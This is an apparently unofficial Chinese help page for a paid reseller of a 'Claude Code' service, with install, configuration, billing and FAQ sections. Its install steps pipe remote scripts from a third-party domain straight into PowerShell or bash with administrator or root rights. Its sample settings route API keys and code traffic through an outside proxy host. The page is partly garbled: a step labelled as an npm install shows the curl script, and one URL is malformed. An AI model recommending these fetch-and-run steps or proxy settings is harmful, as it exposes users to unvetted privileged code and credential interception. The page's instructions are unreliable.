Claude Code 帮助文档

### 详细的安装和使用指南

### 快速开始
Claude Code 是一个强大的AI编程助手，支持多种编程语言和开发环境。以下是快速开始指南：

1. 会员要求
有效会员：需要有效的 Claude Code 会员资格
API KEY：会员可在 Claude Code 页面 获取专属 API KEY
网络：需要稳定的互联网连接
余额：确保账户有足够的使用余额
2. 系统要求
Windows：Windows 10 或更高版本（需要管理员权限）
macOS：macOS 10.15 或更高版本（需要 root 权限）
Linux：支持主流发行版（Ubuntu、Debian、CentOS、Fedora等，需要 root 权限）
WSL：支持 Windows Subsystem for Linux
内存：建议至少 4GB RAM
3. 快速安装
Windows PowerShell（推荐）：
```cpp
irm https://1.api5.ai/setup.ps1 | iex
```

**需要以管理员身份运行 PowerShell**

Linux / macOS / WSL:
```cpp
curl -o install.sh https://1.api5.ai/install.sh && bash install.sh
```
**需要 root 权限执行安装脚本**

安装完成后的配置说明：
1. 重新打开一个新的终端窗口
2. 输入命令：claude
3. 在配置过程中，请一直按 回车键 使用默认设置
API KEY 使用说明
 请妥善保管您的 API KEY，不要分享给他人或在公开场合展示。

手动安装
1.2 安装步骤
使用npm进行全局安装：
```python
curl -o install.sh https://1.api5.ai/install.sh && bash install.sh
```
 重要: 不要使用 sudo npm install -g，这可能导致权限问题和安全风险。

安装完成后，导航到您的项目目录并启动Claude Code：
```cpp
cd your-awesome-project
claude
```
配置文件设置
您可以通过配置文件的方式设置 API KEY，这样无需每次手动输入。

创建或编辑配置文件：
```cpp
# 用户设置 (全局)
~/.claude/settings.json

# 项目设置 (项目级)
.claude/settings.json
```

配置文件示例：

```cpp
{
    "env": {
        "ANTHROPIC_API_KEY": "您的APIkey",
        "ANTHROPIC_BASE_URL": "https://https://api.zhiyunai168.com",
        "CLAUDE_CODE_MAX_OUTPUT_TOKENS": 64000,
        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": 1,
        "CLAUDE_MODEL": "Claude"
    },
    "permissions": {
        "allow": [],
        "deny": []
    }
}
```
 配置文件设置后，Claude Code 将自动读取配置，无需重复输入 API KEY。项目级设置优先于全局设置。

### 使用指南
#### 基本命令
claude - 启动 Claude Code 交互式会话
claude --help - 显示帮助信息
claude --version - 显示版本信息
/help - 在交互模式下显示帮助
/clear - 清除会话历史
/cost - 查看 Token 使用量和费用
/exit - 退出 Claude Code
### 首次使用
完成安装后，导航到您的项目目录
运行 claude 命令启动交互式会话
首次使用时，系统会提示您配置 API KEY
从 Claude Code 页面 复制您的 API KEY
按照提示完成配置，即可开始使用
### 日常使用
交互模式使用：

在项目根目录运行 claude
使用自然语言描述需求，如：
"帮我创建一个用户登录页面"
"修复这个函数中的 bug"
"优化这段代码的性能"
"为这个函数添加单元测试"
Claude Code 会分析您的代码库并提供解决方案
确认修改后，代码将自动应用到您的项目中
### 常用操作示例：

````cpp
# 启动 Claude Code
claude

# 示例对话
> 帮我创建一个 React 组件用于显示用户信息
> 修复 src/utils/api.js 中的错误处理
> 为 getUserData 函数添加类型定义
> 运行测试并修复失败的用例
````
### 核心功能
**智能代码编辑：**跨文件编辑和重构代码
**自动化测试：**运行测试并修复失败的用例
**Bug 修复：**智能检测并修复代码问题
**Git 集成：**自动创建提交和 Pull Request
**代码理解：**分析和解释复杂的代码结构
**多语言支持：**支持主流编程语言和框架
**项目初始化：**快速搭建项目结构
**代码审查：**提供代码质量建议和最佳实践
### 高级功能
**MCP 扩展：**通过模型上下文协议连接外部工具
**权限管理：**分层权限系统保护敏感操作
**安全防护：**内置提示注入攻击防护
**成本控制：**实时监控 Token 使用量和费用
**团队协作：**支持团队开发工作流程
 Claude Code 目前处于 Beta 阶段，会根据使用量产生费用。建议使用 /cost 命令定期查看使用情况。

### 余额和计费说明
计费方式
Claude Code 采用按使用量计费的方式：

根据实际使用的 Token 数量计费（包括输入、输出、缓存等）
每日提供一定额度的免费使用余额
不同复杂度的任务消耗不同的 Token 数量
可在 Claude Code 页面 实时查看余额和使用记录
### 余额管理
**今日余额：**每日重置，显示当前可用额度
**使用记录：**详细记录每次使用的 Token 消耗和费用
**历史查询：**可查看最近3天的使用历史
**余额不足：**当余额不足时，请联系管理员充值
### 节省成本技巧
明确描述需求，避免重复修改
对于简单任务，使用精简的描述
避免频繁的小修改，尽量一次性完成
合理利用缓存机制，避免重复计算
定期查看使用记录，了解消耗模式
### 常见问题
### Q: 安装失败怎么办？
A: 请检查：1) 是否有管理员/root权限；2) 网络连接是否正常；3) 防火墙是否阻止了下载；4) 确保使用的是官方安装脚本。如问题持续，请联系技术支持。
### Q: API KEY 无效怎么办？
A: 请确认：1) 会员是否已过期；2) API KEY 是否从 Claude Code 页面 正确复制；3) 是否有多余的空格或换行；4) 重新登录账户获取最新的 API KEY。
### Q: 会员过期了还能使用吗？
A: 会员过期后无法获取 API KEY，也无法使用 Claude Code 功能。请及时续费会员以继续使用服务。
### Q: 余额不足怎么办？
A: 当今日余额不足时，您可以等待第二天余额重置，或联系管理员申请增加额度。余额会每日自动重置。
### Q: 如何升级到最新版本？
A: 运行命令 claude-code update 即可自动升级到最新版本。建议定期更新以获得最佳体验。
### Q: 支持哪些项目类型？
A: Claude Code 支持几乎所有编程语言和项目类型，包括 Web 开发、移动应用、桌面程序、数据科学、机器学习等。支持 VS Code、IntelliJ IDEA、Vim 等主流编辑器。
### Q: 如何查看使用记录？
A: 登录后访问 Claude Code 页面，在页面底部可以查看最近3天的详细使用记录，包括 Token 消耗和费用明细。